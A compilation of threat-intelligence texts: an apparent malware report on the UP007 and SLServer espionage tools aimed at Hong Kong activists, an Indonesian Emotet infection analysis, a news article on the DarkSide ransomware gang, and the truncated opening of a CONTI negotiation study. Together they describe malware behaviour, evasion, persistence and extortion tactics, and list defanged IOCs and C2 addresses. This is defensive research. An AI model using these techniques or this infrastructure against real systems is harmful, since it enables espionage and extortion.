d579d7a42ff140952da57264614c37bc | Date / Time: 01-11-2016 Detection Rate: 8/55 | | wzget.exe | d8becbd6f188e3fb2c4d23a2d36d137b | Date / Time: 03-21-2016 Detection Rate: 30/57 | These samples, when executed, create two separate infection chains. The lack of emphasis on tricking targets into running a single malicious file is interesting. We are unsure as to why the operators chose to deploy two separate infection chains within the same delivery mechanism. It is also unclear why the benign document was included at the top directory, as this would require more user interaction for a compromise to be successful. It is possible that this mixture of benign and malicious files is intended to lull the targets into a false sense of security. Within the archive, there are two Microsoft Word files: 2016總統選舉民情中心預測值.doc (translation: “Predictive forecast from Centre of Public Sentiment in 2016 Presidential Elections”) and 73個立委選區選情研判.doc (translation: “Election polling of 73 legislative electoral districts”). Despite having different filenames, they are the same file (MD5 hash: 09ddd70517cb48a46d9f93644b29c72f). This infected document was analyzed in the recent PwC report and the malware family was named SunOrcal by the researchers. In this report, we take a closer look at the two nested executables: fzyy.exe and wzget.exe and the two separate infection chains they produce. ## UP007 Malware Family The fzyy.exe executable is a dropper responsible for creating multiple files and starting this particular infection chain. When the file is run it creates the following files in the directory: %APPDATA%\Microsoft\Internet Explorer\ | Filename | MD5 | Purpose | |----------|-----|--------| | conhost.exe | f70b295c6a5121b918682310ce0c2165 | Loads SBieDll.dll | | SBieDll.dll | f80edbb0fcfe7cec17592f61a06e4df2 | Loads maindll.dll | | maindll.dll | d8ede9e6c3a1a30398b0b98130ee3b38 | Loads dll2.xor | | dll2.xor | ce8ec932be16b69ffa06626b3b423395 | Payload | | runas.exe | 6a541de84074a2c4ff99eb43252d9030 | Establishes persistence; Not utilized in this loading chain | | nvsvc.exe | e0eb981ad6be0bd16246d5d442028687 | Unknown – possibly older component | These files are all initially stored as resources within fzyy.exe. Some of the files are stored in encoded form while maindll.dll is stored as a packed executable. When writing the files to disk, the dropper will decode and write the files stored in encoded form. In addition, the infection chain will check multiple registry keys before writing maindll.dll. The keys largely seem to check for the presence of popular Chinese antivirus products: 360 Security, Kingsoft Antivirus, Rising AV, Jiangmin, and Micropoint as well as a popular free antivirus product Avira. Interestingly, in this instance, even if the registry keys are present, maindll.dll will still be written and the infection chain will still continue. The registry keys that are checked by the infection chain are summarized in Table 3. | Key | Subkey | |-----|--------| | HKLM\SOFTWARE\360Safe\Liveup | curl | | HKCU\Software\360safe | DefaultSkin | | HKLM\SOFTWARE\kingsoft\Antivirus | WorkPath | | HKLM\SOFTWARE\Avira\Avira Destop | Path | | HKLM\SOFTWARE\rising\RAV | installpath | | HKLM\SOFTWARE\JiangMin | InstallPath | | HKLM\SOFTWARE\Micropoint\Anti-Attack | MP100000 | Once all the files are created, conhost.exe starts, loads SBieDll.dll, then ultimately loads maindll.dll and the final payload, which we have named UP007 (dll2.xor) due to an identifier in the network traffic. The primary function of UP007 appears to be to log keystrokes to the %USERPROFILE%\Local Settings\Temp\keylog\ directory and send them to a remote server. UP007 uses Windows Sockets to communicate with its command and control server (C2). While doing so, it sends a hardcoded HTTP header disguised as Microsoft Update traffic. This is likely an attempt to escape notice by casual inspection of network traffic. On connection, UP007 downloads another payload directly from the C2 server. This secondary payload we have named “DownLoad” given the way it identifies itself in the traffic with the C2 server. This secondary payload is injected into memory. The initial network traffic observed from the UP007 sample is seen in Figure 3. Once the entire payload is received from the C2 server, UP007 sends basic system information such as operating system version, IP address, and username and the C2 responds with a “READY” announcement (see Figure 4). The secondary payload (DownLoad) initiates its own separate TCP connection with the C2 server. A sample of the network traffic of this secondary payload is seen in Figure 5. Unfortunately, even though the connection with the C2 was established, we did not observe any further activity from this payload. However, DownLoad’s strings show references to the following: - this is cmd - this is Desktop It is possible these are in reference to additional components or capabilities of the malware. Further analysis is required to determine the function of these components. ## UP007 Command and Control Infrastructure The command and control server for the UP007 sample is hosted on Hong Kong provider New World Telecom at the IP address 59.188.12[.]123. Passive DNS data from PassiveTotal indicates that the domain name yeaton.xicp[.]net pointed to this IP from January 8 2016 to March 19 2016. In their recent report ASERT notes that the domain: yeaton.xicp[.]net was used to advertise a Chinese VPN service in 2012. However, as ASERT explains given the long period between the use of the domain for advertising and the recent threat activity the past uses of the domain may not be related to the threat actors. ## UP007 Samples and Variations In November 2013, an exploit document (MD5: 983333e2c878a62d95747c36748198f0) was uploaded to various malware sites with the filename 中国国家安全委员会机构设置和人员名单提前曝光.docx (which translates to “Chinese National Security Council’s Institutional Structure and Member list”) and 131106 minutes.docx. Instead of receiving the Stage 2 binary in the C2 protocol as in the recent UP007 sample, the November 2013 sample directly requested ok.exe via an HTTP GET request to 103.19.85[.]89. The ok.exe sample communicated with tenday.mysecondarydns[.]com which resolved to 103.19.85[.]89. It was signed with a certificate with serial number 04 DE 6E CB 4B A2 A5 54 2B 5E 0C 71 EE FD 2A AA. One year later, in November 2014, another instance of the UP007 dropper (MD5: e2ac89b5c820fc598b92a635a7d8bc33) signed with a certificate using the serial number 3A 72 A8 34 FB EC E5 4F A5 E5 2F 67 BA 63 4D CA was uploaded to VirusTotal. According to VirusTotal, this file was observed being hosted at http://103.19.85[.]89/chin.jpg. The final payload was designed to communicate with the same host for command and control. In August 2015, an instance of the UP007 dropper (MD5: 639c7239f40d95f677a99abb059e8338) signed with the same certificate (Serial: 5D 11 78 4F B8 17 65 02 3F 89 A4 F4 24 3F E1 A9) as fzyy.exe was uploaded to VirusTotal spotted in the wild as http://hkemail.f3322[.]org/32.zip. This sample communicated with hk2[.]upupdate[.]cn which resolved to 103.27.108[.]122 at the time of analysis. The samples detailed in Table 4 were identified by import hash and other structural similarities related to the UP007 dropper. They were uploaded to VirusTotal by the same submitter on November 14, 2014 and February 27, 2015. | MD5 | Import Hash | C2 | |-----|-------------|----| | 21455a5c2496e2603f6ba911fbaaed80 | 820438f3f1efede11425a9cc13ae2dbd | hihihihihahaha.vicp[.]cc (113.204.17[.]59) | | be378f3d66ecd38cda09508015de71f7 | 820438f3f1efede11425a9cc13ae2dbd | 172.16.10[.]124 | The RAR archive detailed in Table 5 reportedly drops the same files responsible for loading the UP007 sample. It also reportedly communicates with 59.188.12[.]123. | MD5 | File Name | C2 | |-----|-----------|----| | 19866e7566373028799abd6844ac16d1 | QiHua.rar | 219.133.40[.]1, 59.188.12[.]123 | ## SLServer Malware Family The SLServer sample we received was also recently analyzed and reported by PwC. It was presented in an overview of threat actors making use of the recent Taiwanese presidential election in email lures to entice targets to open malicious documents. As noted by PwC, this file is a self-extracting archive ultimately responsible for downloading a binary from a website that was likely compromised. Like PwC, we were unable to obtain the final Keyainst.exe binary due to the behaviour of the C2 during the time of analysis. Based on common behavioural characteristics and shared C2 it appears the downloaded file analyzed by PwC was MD5: e5e7dcbda781dd0bf5f5da3cccdb094d. This sample was referred to as SunOrcal by PwC. This name was based on a folder misspelling. We refer to the malware family as SLServer due to a resource dialog in the file. Another recently observed instance of this malware found on VirusTotal (MD5: cfcd2a90e87156e1a811f9c7b0051002) was designed to communicate with the same C2 server and contains the following debug path: e:\Working\SVNProject\SLServer\SLServer2.0\release\SLServer.pdb Interestingly, according to VirusTotal, the previously mentioned UP007 dropper fzyy.exe was also observed hosted as wthk.txt at the same URL as this downloaded SLServer sample. The precise timeframes during which these samples were hosted and changed remains unknown. | File Name | Malware Family | MD5 | First Submission Time | |-----------|----------------|-----|-----------------------| | wzget.exe | SLServer | e5e7dcbda781dd0bf5f5da3cccdb094d | 2016-01-07 19:03:25 UTC | | fzyy.exe | UP007 | d579d7a42ff140952da57264614c37bc | 2016-01-08 05:21:18 UTC | ## SLServer – Possible Second Stage The SLServer sample (MD5: e5e7dcbda781dd0bf5f5da3cccdb094d) calls “FunctionWork” from a DLL: On VirusTotal we discovered a file named javaupdata.dll (MD5: <7332245f67b6b8a256ab22a6496b4536), which exports a function by the same name. Strings in the SLServer sample also reference a file by this name. When executed, this DLL contacts 210.61.12[.]153 using SSL. This host is the same one pointed to by the SLServer’s C2 domain, safetyssl.security-centers[.]com. Interestingly, while the 210.61.12[.]153 host did not respond to the SLServer connections during analysis time, the host did accept the SSL connections from javaupdata.dll. Further analysis of this file is ongoing. ## SLServer Command and Control Infrastructure The SLServer C2 server: safetyssl.security-centers[.]com resolved to the IP address: 210.61.12[.]153 at the time of analysis. This IP is hosted in Taiwan on the hosting provider Chunghwa Telecom, specifically their Data Communication Business Group offering. It appears to host the site of a Taiwanese auto parts manufacturer, Yowjung Autoparts. This site may have been either compromised or copied from a legitimate source. The domain name security-centers.com was registered on September 11 2015 by the emails: janmiller-domain@googlemail[.]com and an_ardyth@123mail[.]org. Using Passive DNS data we find the following subdomains were used in the time period after domain registration: - safetyssl.security-centers[.]com - computer.security-centers[.]com - security-centers[.]com - www.security-centers[.]com The domain computer.security-centers[.]com was a C2 server previously reported by ASERT related to a sample of the Trochilus RAT analyzed in the report. ASERT retrieved that sample from the compromised Myanmar Union Election Commission website. The other subdomains (www and the top level security-centers[.]com) are likely the default IP addresses for GoDaddy registered domains. ## SLServer Samples and Variations We discovered three additional SLServer samples using VirusTotal. We list the hash, submission time, as well as C2 domains associated with the sample in Table 7. | MD5 | First Submission | C2 | |-----|------------------|----| | d07b2738840ce3419df651d3a0a3a246 | 2016-02-25 01:14:15 | www.olinaodi[.]com (74.126.181[.]10) | | 397021af7c0284c28db65297a6711235 | 2016-02-22 18:30:19 | safetyssl.security-centers[.]com (210.61.12[.]153) | | dc195d814ec16fe91690b7e949e696f6 | 2016-02-17 11:32:02 | www.olinaodi[.]com (74.126.181[.]10) | | cfcd2a90e87156e1a811f9c7b0051002 | 2015-11-09 05:20:33 | safetyssl.security-centers[.]com (211.255.32[.]130) | ## Recent Campaign Connections In January 2016, Arbor Networks released a report titled “Uncovering the Seven Pointed Dagger” in which they discuss a series of six RAR files hosted on the Myanmar election commission website on 20 October 2015. The focus of the report was on the discovery of the new Trochilus RAT. However, one of the RAR files was noted as unknown malware. This sample (Security-Patch-Update.exe, MD5: 82896b68314d108141728a4112618304) is also UP007, signed with the 5D 11 78 4F B8 17 65 02 3F 89 A4 F4 24 3F E1 A9 certificate and configured to communicate with 59.188.12[.]123 directly over port 8008, identical to fzyy.exe mentioned above. In this instance, if any of the previously discussed registry keys were present, the sample will execute the dropped runas.exe binary. Given this execution, nvsvc.exe is likely also an older component. As discussed above the UP007 sample we analyzed shares the same C2 (computer.security-centers.com) as the Trochilus RAT sample reported by ASERT. In November 2015, Palo Alto Networks reported on a newly discovered trojan referred to as Bookworm. They revealed a campaign focused on the targeting of government entities in Thailand. The campaign used a malware family known as FFRAT, and the sample described in the report connected to the domain hkemail.f3322[.]org for command and control. In August 2015, the same domain was reportedly used to host an instance of UP007 as well. Finally, the relationship between the SLServer C2 www.olinaodi[.]com and our previous research into the Surtr malware family was highlighted by PwC through the overlap in the toucan6712@163[.]com registrant. We tracked malware campaigns using the Surtr family that have targeted Tibetan organizations since 2013. ## Conclusion This latest espionage campaign against Hong Kong activists appears to be connected to a broader set of targets and operations. The recent detailed reporting by ASERT makes it clear that the UP007 malware family has been found in previous campaigns targeting Burmese interests. In addition, the campaigns share some C2 infrastructure with previous operations against targets in Thailand and the Tibetan community. The domain registration connections between SLServer infrastructure and Surtr infrastructure also suggests some level of potential coordination between campaigns targeting Hong Kong groups and the Tibetan community. Despite these connections, it is unclear if these campaigns are being conducted by the same threat actor. We cannot exclude the possibility that distinct operators have a degree of sharing of tools and infrastructure. Alternatively, security researcher Ned Moran has articulated a concept of a “digital quartermaster,” to refer to an actor that supplies threat infrastructure and malware development resources to multiple groups. While these scenarios are plausible, we do not have enough data to properly assess these competing hypotheses, or to make conclusive statements about the identity of the threat actors. What is clear from our analysis is that civil society groups across Asia continue to be targeted by persistent and organized cyber espionage campaigns. Civil society often lack the resources and awareness to defend against these operations and closer attention to the threats they face is needed. ## Acknowledgements Special thanks to Valkyrie-X Security Research Group and ASERT. We are grateful to Jason Q. Ng and Kun Cleo Zhang for translation assistance, and Adam Senft, John Scott-Railton, and Ron Deibert for comments. This research was supported by the John D and Catherine T. MacArthur Foundation and the William and Flora Hewlett Foundation. ## Indicators of Compromise Yara signatures are available for the UP007 and SLServer malware families here. ### MD5 Hashes - d579d7a42ff140952da57264614c37bc - d8becbd6f188e3fb2c4d23a2d36d137b - 09ddd70517cb48a46d9f93644b29c72f - f70b295c6a5121b918682310ce0c2165 - f80edbb0fcfe7cec17592f61a06e4df2 - d8ede9e6c3a1a30398b0b98130ee3b38 - ce8ec932be16b69ffa06626b3b423395 - 6a541de84074a2c4ff99eb43252d9030 - e0eb981ad6be0bd16246d5d442028687 - 639c7239f40d95f677a99abb059e8338 - d07b2738840ce3419df651d3a0a3a246 - 397021af7c0284c28db65297a6711235 - dc195d814ec16fe91690b7e949e696f6 - cfcd2a90e87156e1a811f9c7b0051002 ### IP Addresses - 59.188.12[.]123 - 210.61.12[.]153 ### Domains - safetyssl.security-centers[.]com - computer.security-centers[.]com - hkemail.f3322[.]org - www.olinaodi[.]com - tenday.mysecondarydns[.]com
# Malware Analysis Emotet Infection Baru-baru ini threatlab mendapatkan kabar adanya aktivitas serangan malware emotet di Indonesia dan kami tidak bisa menyebutkan perusahaan yang terdampak serangan ini. Dalam hal ini kami mendapatkan sample file macro dari email spamming atau spear phishing. Emotet sendiri adalah malware yang tidak mudah dikenali oleh antivirus karena emotet termasuk dalam polymorphic virus, dimana polymorphic virus dapat merubah setiap byte dirinya sendiri yang dapat menyulitkan antivirus umumnya untuk mengidentifikasi. ## Apa Bahaya Malware Emotet? Malware emotet menginfeksi umumnya akan mencari celah seperti port-port yang terbuka baik itu SMB, Telnet, FTP, Printer, dan bahkan beberapa IOC (Indicator of Compromise). Kami menemukan adanya IOC dari log4j yang dapat mereka gunakan untuk melakukan infeksi pada perangkat lain. Emotet dapat melakukan remote access, drop malware lainnya seperti ransomware, mengumpulkan kontak email pada perangkat dan email gateway untuk proses spear phishing dan spamming pada perangkat lain, pencurian informasi, dan lain-lain. ## Bagaimana Infeksi Malware Emotet? Saat melakukan analisa kami menemukan beberapa cara bagaimana malware emotet melakukan infeksi setelah file macro dibuka oleh korban. Pada file yang kami analisa kami mendapatkan 2 format seperti xlsm dan pdf. Pada file xlsm ketika dibuka akan memberikan informasi untuk mengaktifkan enable editing atau enable content. Setelah tombol enable editing atau enable content ditekan, file akan loading dan proses kinerja CPU yang akan tinggi karena akan ada service yang berjalan di background. Malware emotet sendiri sama dengan malware pada umumnya ketika file malware dijalankan akan ada request DNS ke IOC sebagai langkah pertama dalam proses infeksinya. Pada kasus di atas saya menggunakan fakenet dimana malware tidak akan mendapatkan respon 200 ketika mengakses domain-domain IOC tersebut. Malware emotet jika melakukan request DNS dan gagal maka malware emotet akan melakukan request dengan domain lainnya yang sudah terdapat pada list program malware emotet tersebut. Dimana malware akan melakukan request terus menerus dengan domain berbeda. Konsep di atas sama akan diterapkan pada file-file lainnya yang ber extension berbeda, contoh salah satunya yang kami temukan pada file pdf yang terdapat URL untuk mendownload file malware lainnya. Setelah melakukan DNS Request dan mendapatkan domain yang dapat terhubung pada perangkat, malware emotet akan melakukan drop file dwa.ocx, dimana file tersebut adalah file ActiveX yang digunakan untuk mendownload Embed URL yang ada di file macro tersebut. Terlihat pada gambar malware emotet memanfaatkan API dari rundll32.exe untuk menjalankan ActiveX tersebut dan mendaftarkannya pada registry Windows. Kami memeriksa pada alur jaringan yang keluar melalui Wireshark dan mendapatkan koneksi untuk mendownload file GEXSG6zSW.dll pada domain mammy-chiro[.]com/case/ZTkBzbz/ dengan menggunakan fungsi dari Dynamic-link library (dll) urlmon.dll. Komunikasi di atas diawali dengan DNS Request untuk melihat apakah domain memiliki response 200. Ketika respons didapatkan, malware emotet akan melanjutkan dengan melakukan Three-way handshake dan mendrop dll malware menggunakan fungsi ActiveX yang sebelumnya pada file dwa.ocx. File dll ini akan di move ke folder: C:\Users\IEUser\AppData\Local\Microsoft\Windows\INetCache. Malware emotet juga akan melakukan drop file pada folder C:\Users\IEUser\AppData\Local\{unique folder}\{unique file} yang akan dijalankan oleh rundll.exe. Ketika proses berjalan, malware akan melakukan injection pada memory. Dynamic injection pada memory dijalankan setelah proses running file unique dari background berlangsung dan beberapa Dynamic-link library (dll) yang digunakan adalah ntdll.dll, wow64.dll, wow64cpu.dll, KERNELBASE.dll. Sedangkan ketika kami melakukan analisa pada file Dynamic-link library (dll) milik malware GEXSG6zSW.dll, ditemukan malware menggunakan beberapa fungsi API OLEAUT32.dll, SHELL32.dll, USER32.dll, ole32.dll, pdh.dll. Setelah malware emotet melakukan proses injection, malware emotet akan mendaftarkan format extension baru pada registry sesuai dengan format file yang di drop dan file baru yang akan didrop nantinya. Malware emotet akan membuat otomatis menjalankan program malware setiap kali komputer/laptop baru saja aktif, dengan cara mendaftarkan registry file malware pada \Software\Microsoft\Windows\CurrentVersion\Run\. Proses lainnya yang sering akan membuat sistem menjadi berat saat running service adalah adanya proses yang melakukan pencarian indexing dan lainnya menggunakan fungsi SEARCHFILTERHOST.EXE dan SEARCHPROTOCOLHOST.EXE, ketika malware aktif. Ketika proses infeksinya sudah selesai, malware emotet akan mencoba melakukan connection to outbound dengan mengakses IP C&C malware dan kami sudah menangkap beberapa IP C&C malware yang mencoba diakses. Beberapa IP C&C yang kami temukan terdapat related dengan IP C&C yang sering dipakai sebagai penyerangan yang memanfaatkan log4j. ## Bagaimana Cara Mitigasi Malware Emotet? - Pastikan melakukan block pada domain dan IP IOC berserta C&C. - Memastikan memiliki EDR sebagai pencegahan. - Pastikan jika menggunakan log4j sudah mendapatkan versi terbaru. - Memastikan server mail gateway melakukan filter spam/phishing pada sender mail yang tidak memiliki DMARC. - Melakukan cleaning pada file dan folder: - C:\Users\IEUser\dwa.ocx (atau file ActiveX unique lainnya) - C:\Users\IEUser\AppData\Local\{unique folder}\{unique file} - C:\Windows\Prefetch\{bersihkan isi artifact} - C:\Users\IEUser\AppData\Local\Microsoft\Windows\INetCache {bersihkan isi file} - HKEY_USERS\S-1-5-21-321011808-3761883066-353627080-1000\Software\Microsoft\Windows\CurrentVersion\Run\ {hapus file aneh} - HKEY_USERS\S-1-5-21-321011808-3761883066-353627080-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.blf {.ndy, .tnn, .ovo, .blf} note: format emotet masih banyak ini hanya sebagian yang saya temukan ketika analisa silahkan hapus. - C:\Users\IEUser\AppData\Roaming\Microsoft\Office\Recent {hapus recent file yang dibuka sebagai malware} - Melakukan scanning antivirus. - Block domain sender. ## Emotet IOC (Indicator of Compromise) - bluetoothheadsetreview[.]xyz - topline36[.]xyz - mammy-chiro[.]com - unifiedpharma[.]com - kauffmancreates[.]com - ecs[.]office[.]com - uci[.]cdn[.]office[.]net - sanagrafix[.]com - 112[.]78[.]125[.]227 SHA256: - CB5D0451582313831775C542C874C2FAE664CF090646987895E5645E33F1B317 - d5e424520fc86ef4c91caacdf609bc584cb73faaf0a6131db19f6b2d0eee57ad MD5: - BE4813C9B6C410BC1E0A8416BA2EE153 ## Emotet C&C (Command and Control) - 185[.]148[.]168[.]220:8080 - 54[.]38[.]242[.]185 - 54[.]37[.]228[.]122 - 62[.]171[.]178[.]147:8080 - 85[.]214[.]67[.]203:8080 - 190[.]90[.]233[.]66 - 37[.]44[.]244[.]177:8080 - 210[.]57[.]209[.]142:8080 - 116[.]124[.]128[.]206:8080 - 128[.]199[.]192[.]135:8080 - 195[.]154[.]146[.]35 - 185[.]148[.]168[.]15:8080 - 195[.]77[.]239[.]39:8080 - 207[.]148[.]81[.]119:8080 - 78[.]47[.]204[.]80 - 62[.]171[.]178[.]147:8080 - 37[.]59[.]209[.]141:8080 ## Sender Spam dan Phishing Emotet - *@rubioguzman[.]com - *@alianzagb[.]com - *@allinautos[.]com - *@nanaki[.]co[.]jp - *@daiwaconst[.]co[.]jp - *@cangroup[.]com[.]sg - *@berlina[.]com[.]uy - *@denyuusya[.]co[.]jp - *@kare[.]com - *@expresoeltero[.]com - *@ptsif[.]com - *@amarishotel[.]com - *@alobhainfotech[.]com - *@maidoha[.]com - *@pecconsultltd[.]com.gh - *@galaxycorp-vn[.]com - *@gunungabadi[.]com
# Secret Chats Show How Cybergang Became a Ransomware Powerhouse Andrew E. Kramer, Michael Schwirtz, Anton Troianovski May 29, 2021 MOSCOW — Just weeks before the ransomware gang known as DarkSide attacked the owner of a major American pipeline, disrupting gasoline and jet fuel deliveries up and down the East Coast of the United States, the group was turning the screws on a small, family-owned publisher based in the American Midwest. Working with a hacker who went by the name of Woris, DarkSide launched a series of attacks meant to shut down the websites of the publisher, which works mainly with clients in primary school education, if it refused to meet a $1.75 million ransom demand. It even threatened to contact the company’s clients to falsely warn them that it had obtained information the gang said could be used by pedophiles to make fake identification cards that would allow them to enter schools. Woris thought this last ploy was a particularly nice touch. “I laughed to the depth of my soul about the leaked IDs possibly being used by pedophiles to enter the school,” he said in Russian in a secret chat with DarkSide obtained by The New York Times. “I didn’t think it would scare them that much.” DarkSide’s attack on the pipeline owner, Georgia-based Colonial Pipeline, did not just thrust the gang onto the international stage. It also cast a spotlight on a rapidly expanding criminal industry based primarily in Russia that has morphed from a specialty demanding highly sophisticated hacking skills into a conveyor-belt-like process. Now, even small-time criminal syndicates and hackers with mediocre computer capabilities can pose a potential national security threat. Where once criminals had to play psychological games to trick people into handing over bank passwords and have the technical know-how to siphon money out of secure personal accounts, now virtually anyone can obtain ransomware off the shelf and load it into a compromised computer system using tricks picked up from YouTube tutorials or with the help of groups like DarkSide. “Any doofus can be a cybercriminal now,” said Sergei A. Pavlovich, a former hacker who served 10 years in prison in his native Belarus for cybercrimes. “The intellectual barrier to entry has gotten extremely low.” A glimpse into DarkSide’s secret communications in the months leading up to the Colonial Pipeline attack reveals a criminal operation on the rise, pulling in millions of dollars in ransom payments each month. DarkSide offers what is known as “ransomware as a service,” in which a malware developer charges a user fee to so-called affiliates like Woris, who may not have the technical skills to actually create ransomware but are still capable of breaking into a victim’s computer systems. DarkSide’s services include providing technical support for hackers, negotiating with targets like the publishing company, processing payments, and devising tailored pressure campaigns through blackmail and other means, such as secondary hacks to crash websites. DarkSide’s user fees operated on a sliding scale: 25 percent for any ransoms less than $500,000 down to 10 percent for ransoms over $5 million, according to the computer security firm, FireEye. As a start-up operation, DarkSide had to contend with growing pains, it appears. In the chat with someone from the group’s customer support, Woris complained that the gang’s ransomware platform was difficult to use, costing him time and money as he worked with DarkSide to extort cash from the American publishing company. “I don’t even understand how to conduct business on your platform,” he complained in an exchange sometime in March. “We’re spending so much time when there are things to do. I understand that you don’t give a crap. If not us, others will bring you payment. It’s quantity not quality.” The Times gained access to the internal “dashboard” that DarkSide customers used to organize and carry out ransom attacks. The login information was provided to The Times by a cybercriminal through an intermediary. The Times is withholding the name of the company involved in the attack to avoid additional reprisals from the hackers. Access to the DarkSide dashboard offered an extraordinary glimpse into the internal workings of a Russian-speaking gang that has become the face of global cybercrime. Cast in stark black and white, the dashboard gave users access to DarkSide’s list of targets as well as a running ticker of profits and a connection to the group’s customer support staff, with whom affiliates could craft strategies for squeezing their victims. The dashboard was still operational as of May 20, when a Times reporter logged in, even though DarkSide had released a statement a week earlier saying it was shutting down. A customer support employee responded almost immediately to a chat request sent from Woris’s account by the Times reporter. But when the reporter identified himself as a journalist the account was immediately blocked. Even before the attack on Colonial Pipeline, DarkSide’s business was booming. According to the cybersecurity firm Elliptic, which has studied DarkSide’s Bitcoin wallets, the gang has received about $15.5 million in Bitcoin since October 2020, with another $75 million going to affiliates. The serious profits for such a young criminal gang — DarkSide was established only last August, according to computer security researchers — underscore how the Russian-language cybercriminal underground has mushroomed in recent years. That growth has been abetted by the rise of cryptocurrencies like Bitcoin that have made the need for old-school money mules, who sometimes had to smuggle cash across borders physically, practically obsolete. In just a couple of years, cybersecurity experts say, ransomware has developed into a tightly organized, highly compartmentalized business. There are certain hackers who break into computer systems and others whose job is to take control of them. There are tech support specialists and experts in money laundering. Many criminal gangs even have official spokespeople who do media relations and outreach. In many ways, the organizational structure of the Russian ransomware industry mimics franchises, like McDonald’s or Hertz, that lower barriers to entry and allow for easy duplication of proven business practices and techniques. Access to DarkSide’s dashboard was all that was needed to set up shop as an affiliate of DarkSide and, if desired, download a working version of the ransomware used in the attack on Colonial Pipeline. While The Times did not acquire that software, the publishing company offered a window into what it was like to be the victim of an attack by DarkSide ransomware. The first thing the victim sees on the screen is a ransom letter with instructions and gentle threats. “Welcome to DarkSide,” the letter says in English, before explaining that the victim’s computers and servers had been encrypted and any backups deleted. To decrypt the information, victims are directed to a website where they must enter a special pass key. The letter makes clear that they can call on a tech support team if they should run into any problems. “!!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself,” the letter says. “We WILL NOT be able to RESTORE them.” The DarkSide software not only locks victims’ computer systems, it also steals proprietary data, allowing affiliates to demand payment not only for unlocking the systems but also for refraining from releasing sensitive company information publicly. In the chat log viewed by The Times, a DarkSide customer support employee boasted to Woris that he had been involved in more than 300 ransom attacks and tried to put him at ease. “We’re just as interested in the proceeds as you are,” the employee said. Together, they hatched the plan to put the squeeze on the publishing company, a nearly century-old, family-owned business with only a few hundred employees. In addition to shutting down the company’s computer systems and issuing the pedophile threat, Woris and DarkSide’s technical support drafted a blackmail letter to be sent to school officials and parents who were the company’s clients. “Dear school staff and parent,” the letter went, “have nothing personal against you, it is only business.” (A spokesman for the company said that no clients were ever contacted by DarkSide, but several employees were.) On top of this, using a new service that DarkSide introduced in April, they planned to shut down the company’s websites with so-called DDOS attacks, in which hackers overload a company’s network with fake requests. Negotiations over the ransom with DarkSide lasted for 22 days and were carried out over email or on the gang’s blog with a hacker or hackers who spoke only in mangled English, said the company’s spokesman. Negotiations broke down sometime in March over the company’s refusal to pay the $1.75 million ransom. DarkSide, it seems, was livid and threatened to leak news of the ransomware attack to the news media. For all the strong-arm tactics, DarkSide was not completely without a moral compass. In a list of rules posted to the dashboard, the group said any attacks against educational, medical or government targets were forbidden. In its communications, DarkSide tried to be polite, and the group expected the same of the hackers using its services. The group, after all, “very much treasures our reputation,” DarkSide said in one internal communication. “Offending or being rude to targets for no reason is prohibited,” DarkSide said. “We aim to make money through normal and calm dialogue.” Another important rule adopted by DarkSide, along with most other Russian-speaking cybercriminal groups, underscores a reality about modern-day cybercrime. Anyone living in the Commonwealth of Independent States, a collection of former Soviet republics, is strictly off limits to attacks. Cybersecurity experts say the “don’t work in .ru” stricture, a reference to Russia’s national domain suffix, has become de rigueur in the Russian-speaking hacking community, to avoid entanglements with Russian law enforcement. The Russian authorities have made it clear they will rarely prosecute cybercriminals for ransomware attacks and other cybercrimes outside Russia. As a result, Russia has become a global hub for ransomware attacks, experts say. The cybersecurity firm Recorded Future, based outside Boston, tracks about 25 ransomware groups, of which about 15 — including the five biggest — are believed to be based in Russia or elsewhere in the former Soviet Union, said a threat intelligence expert for the firm, Dmitry Smilyanets. Mr. Smilyanets is himself a former hacker from Russia who spent four years in federal custody for cybercrimes. Russia in particular has become a “greenhouse” for cybercriminals, he said. “An atmosphere was created in Russia in which cybercriminals felt great and could thrive,” Mr. Smilyanets said. “When someone is comfortable and confident that he won’t be arrested the next day, he starts to act more freely and more brazenly.” Russia’s president, Vladimir V. Putin, has made the rules perfectly clear. When the American journalist Megyn Kelly pressed him in a 2018 interview on why Russia was not arresting hackers believed to have interfered in the American election, he shot back that there was nothing to arrest them for. “If they did not break Russian law, there is nothing to prosecute them for in Russia,” Mr. Putin said. “You must finally realize that people in Russia live by Russian laws, not by American ones.” After the Colonial attack, President Biden said that intelligence officials had evidence the hackers were from Russia, but that they had yet to find any links to the government. “So far there is no evidence based on, from our intelligence people, that Russia is involved, though there is evidence that the actors, ransomware, is in Russia,” he said, adding that the Russian authorities “have some responsibility to deal with this.” This month, DarkSide’s support staff scrambled to respond to parts of the system being shut down, which the group attributed, without evidence, to pressure from the United States. In a posting on May 8, the day after the Colonial attack became public, the DarkSide staff appeared to be hoping for some sympathy from their affiliates. “There is now the option to leave a tip for Support under ‘payments,’” the posting said. “It’s optional, but Support would be happy :).” Days after the F.B.I. publicly identified DarkSide as the culprit, Woris, who had yet to extract payment from the publishing company, reached out to customer service, apparently concerned. “Hi, how’s it going,” he wrote. “They hit you hard.” It was the last communication Woris had with DarkSide. Days later, a message popped up on the dashboard saying the group was not exactly shutting down, as it had said it would, but selling its infrastructure so other hackers could carry on the lucrative ransomware business. “The price is negotiable,” DarkSide wrote. “By fully launching an analogous partnership program it’s possible to make profits of $5 million a month.” Oleg Matsnev contributed reporting.
# Analyzing Ransomware Negotiations with CONTI: An In-Depth Analysis CONTI is a ransomware group that uses a double extortion attack to force its victims into paying. The group has more than $14 million confirmed payments in bitcoin and has several high-profile victims in its portfolio. The latter is verified by the publication of the exfiltrated data of the victims who did not pay the requested ransom. Given the modus operandi of the group, we managed to intercept many of their negotiations, which provided us with intelligence into how they operate. The studied interactions correspond to more than a third of their earnings and are therefore quite indicative of how they work as a group. **Index terms**— Ransomware, CONTI, cybercrime, blockchain forensics ## Introduction CONTI is a ransomware group that uses the double extortion model to force their victims to pay the ransom. In essence, the attackers will not only lock up a victim's files by encrypting them and demand ransom for their decryption, but they will also steal files and threaten to publish them on a website or otherwise leak them if their initial ransom request is not met. This model is not novel, as it has been introduced by MAZE and then used in other ransomware campaigns such as REvil, Ragnar, and Egregor, to name a few. The group operates in the Ransomware as a Service (RaaS) model. Therefore, there is a group of developers who have developed the ransomware and distribute it to some affiliates that they recruit. These affiliates will use it once they penetrate a host. Each party keeps a share of the paid ransom, which is paid in some cryptocurrency. The confirmed earnings of the CONTI group, based on a specialized Open Source Intelligence (OSINT) source that tracks ransomware, are currently $14,740,000. These earnings position CONTI among the most highly paid ransomware operations and due to the high impact on USA-based organizations, the Federal Bureau of Investigations (FBI) issued a dedicated flash alert, with the Cybersecurity and Infrastructure Security 